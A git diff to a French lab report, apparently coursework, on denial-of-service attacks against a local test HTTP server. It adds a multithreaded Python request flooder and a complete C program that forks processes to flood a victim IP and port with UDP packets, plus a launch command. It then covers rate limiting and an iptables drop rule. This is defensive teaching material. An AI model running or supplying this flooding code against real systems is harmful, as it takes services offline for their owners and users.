diff --git a/content/02_dos.md b/content/02_dos.md index 0d3719b62cbad0af374e120eeb4fa6a726b5adad..31b72d01cb3445361ab446b57b4f0a3511ddc324 100644 --- a/content/02_dos.md +++ b/content/02_dos.md @@ -5,11 +5,11 @@ ## Préparation du serveur Ci-dessous se trouve la commande pour lancer un serveur HTTP en `python` + ```bash sudo python3 -m http.server <numéro_de_port> ``` - ## Programmation du script d'attaque ### Commencer par essayer d’envoyer une requête toute simple sur la machine Serveur. Quelle est la librairie requise ? @@ -36,3 +36,171 @@ while True: r = requests.get(url=URL, params=PARAMS) print(f"Req: {r}") ``` + +## Envoyer un grand nombre de requêtes + +### Version multi-threadée + +A nouveau, malheureusement, cette version ne nous a pas permis de faire tomber +le serveur pour des raisons qui nous sont inconnus, cependant nous suspectons +le **GIL** (_Global Interpreter Lock_) de `python` de nous empêcher de réellement +"paralléliser" l'envoie des requêtes vers le serveur. Le **GIL** agit comme un +verrou sur chaque thread même s'il n'y aucune ressource partagée ce qui va provoquer +une exécution séquentielle des envoies de requêtes. + +```python +import requests +from threading import Thread + + +URL = "http://192.168.1.121:8080" + + +def send_req(): + while True: + r = requests.get(url=URL) + print(f"Request status code = {r.status_code}") + + +if __name__ == "__main__": + list_threads = [] + + for i in range(500_000): + list_threads.append(Thread(target=send_req)) + + for thread in list_threads: + thread.start() +``` + +### Implémentation en `C` + +Après une énorme quantité de diverses tentatives de faire fonctionner cette attaque +en utilisant `python`, nous nous sommes tournés vers une implémentation en `C`. + +En résumé, notre exécutable `./dos` demande à l'utilisateur l'IP de la victime, +le port vers lequel nous souhaitons nous connecter ainsi que la quantité de +processus enfant que nous souhaitons créer. Par la suite, nous établissons une +connexion **UDP** où chaque processus enfant va envoyer pendant une durée +indéterminée des requêtes vers le serveur jusqu'à ce que celui-ci tombe. Cette +implémentation a fini par fonctionner. + +```c +#include <arpa/inet.h> +#include <libgen.h> +#include <netinet/in.h> +#include <stdbool.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/socket.h> +#include <sys/wait.h> +#include <unistd.h> + +int main(int argc, char *argv[]) { + if (argc != 4) { + fprintf(stderr, "Usage :\n"); + fprintf(stderr, "\t./%s <IP addr> <port number> <nb child processes>\n", + basename(argv[0])); + exit(EXIT_FAILURE); + } + + char *addr_arg = argv[1]; + uint16_t port_number = atoi(argv[2]); + int nb_child_processes = atoi(argv[3]); + + struct sockaddr_in addr = {0}; + + if (inet_pton(AF_INET, addr_arg, &addr.sin_addr) == -1) { + perror("inet_pton"); + exit(EXIT_FAILURE); + } + + addr.sin_family = AF_INET; + addr.sin_port = htons(port_number); + + for (int i = 0; i < nb_child_processes; i++) { + pid_t pid = fork(); + + if (pid == 0) { + char req_buf[256] = {0}; + char *req_templ = "GET / HTTP/1.1\r\n" + "Host: %s\r\n" + "Connection: close\r\n\r\n"; + + snprintf(req_buf, 255, req_templ, addr_arg); + + int sock = socket(AF_INET, SOCK_DGRAM, 0); + + if (sock == -1) { + perror("socket"); + close(sock); + exit(EXIT_FAILURE); + } + + if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) == + -1) { + perror("connect"); + close(sock); + exit(EXIT_FAILURE); + } + + while (true) { + if (sendto(sock, req_buf, strlen(req_buf), 0, + (const struct sockaddr *)&addr, + sizeof(addr)) == -1) { + perror("write"); + close(sock); + exit(EXIT_FAILURE); + } + } + } + } + + for (int i = 0; i < nb_child_processes; i++) { + wait(NULL); + } + + return EXIT_SUCCESS; +} +``` + +## Lancement de l'attaque + +Pour exécuter l'attaque, il suffit d'exécuter le programme `dos` en lui passant +les arguments nécéssaires. + +```bash +./dos <IP addr> <port number> <nb child processes> +``` + +## Protection contre le déni de service + +### Quelles sont les protections utilisées à l’heure actuelle pour contrer un déni de service ? + +À l'heure actuelle la protéction la plus répandue est de mettre en place un +"_rate limiter_" qui contrôle la quantité de requêtes que le serveur peut recevoir. +Si la quantité maximale autorisée de requêtes a été dépasée, ces dernières seront +rejetées / ignorées. + +### Utilisation de `iptables` + +Pour notre cas d'utilisation, nous avons du modifier la ligne de commande +proposée dans l'énoncé pour que celle-ci fonctionne dans le cas de notre attaque. + +Les divers paramètres passés à `iptables` sont : +- `-I INPUT` signifiant que nous allons surveiller le trafic entrant +- `-p udp` spécifie le protocole utilisé (UDP) +- `--dport 8080` port sur lequel nous voulons effectuer ce "filtrage" +- `-m recent --update --seconds --hitcount 4` ces paramètres permettent de "monitorer" +les connexions effectuées pendant les 60 dernières secondes et s'il y a eu 4 connexions +venant de la même source durant les 60 dernières secondes, une action sera déclenchée. +- `--rsource` signifie que les règles de suivi des connexions récentes doivent +être appliquées en tenant compte de l'adresse source des paquets. +- `-j DROP` l'action qu'on attribue au paramètre défini précédemment, c'est-à-dire +faire "tomber" / ignoré les paquets (ne pas les traiter). + + +```bash +iptables -I INPUT -p udp --dport 8080 -m recent --update --seconds 60 --hitcount 4 --rsource -j DROP +```